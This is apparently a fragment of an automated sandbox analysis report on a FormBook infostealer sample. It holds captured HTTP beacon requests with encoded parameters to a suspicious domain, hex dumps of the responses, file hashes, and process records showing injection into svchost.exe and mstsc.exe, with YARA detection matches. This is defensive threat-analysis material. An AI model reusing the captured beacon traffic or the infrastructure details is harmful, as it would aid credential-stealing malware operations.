5aQIXzAoSl3DRD130TC+Ewgvljiyn70dNMroRQWoOAkR9ORQlG1HjV6h5HEHzF5YSFywyeR/jonFZk86IPWi1XQ7Md3c7iYVebn [TRUNCATED]
Sep 25, 2024 12:49:09.088731050 CEST	744	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 10:49:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Di8wk5AqH3nA9jjmt6k2vVl9RnR7jhFGrz0ojU7e09kNJ%2BtxUYtIa5ipTpIiYztYEA19NgnQLpOw2wE8JLB58Z5zfQL%2B5vhXHa%2Bad0LpMFY4Lsv8M7LLyYsX5NV5Tl9sAr85cw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8a72244da2b9c5-EWR Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49773	104.21.11.31	80

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:49:10.933710098 CEST	509	OUT	GET /zznj/?n0=mTk8u4lhzbnhVh&PR_xXrA=XN/afWzprYUm2zEh/Me8v7IO6BZfJ8ldqsTKqfvYzDGyGH3Qqe2ibLEK4zu3d4hkDWgHsBH7o/PgLSUsZsuwL2SV1lDf+BUf6ZfDIcx/0TWTXhhDzyKZrRs= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.b5x7vk.agency Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 25, 2024 12:49:11.930526018 CEST	1098	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 10:49:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b02zpv%2BTZ0k02sDOFHzZyUuvMqFcsCQ9EePCYzr5Vhd53SM5QjSsLymWlfvnX7C8qeaGAQhvzwffFkaham4A45glhKEdHLAUitxRVxuStlepiJqHDWEB7P5REusFuPVgAtGQsg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8a7235eb98c461-EWR Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED] Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Target ID:	0
Start time:	06:46:03
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\rP0n___87004354.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rP0n___87004354.exe"
Imagebase:	0x770000
File size:	1'638'912 bytes
MD5 hash:	C20955BF63AC83DCD469613D4B10504A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	06:46:04
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rP0n___87004354.exe"
Imagebase:	0x1e0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1812489277.0000000002490000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1812489277.0000000002490000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1817351860.0000000003250000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1817351860.0000000003250000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1817399152.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1817399152.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	06:46:07
Start date:	25/09/2024
Path:	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe"
Imagebase:	0xdb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.3547465093.00000000055B0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.3547465093.00000000055B0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	3
Start time:	06:46:11
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\mstsc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\mstsc.exe"
Imagebase:	0x770000
File size:	1'264'640 bytes
MD5 hash:	EA4A02BE14C405327EEBA8D9AD2BD42C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3547541019.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.3547541019.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3546547268.0000000000160000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.3546547268.0000000000160000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3547479377.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.3547479377.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	5
Start time:	06:46:22
Start date:	25/09/2024
Path:	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe"
Imagebase:	0xdb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3548998319.0000000005260000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3548998319.0000000005260000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	06:46:34
Start date:	25/09/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true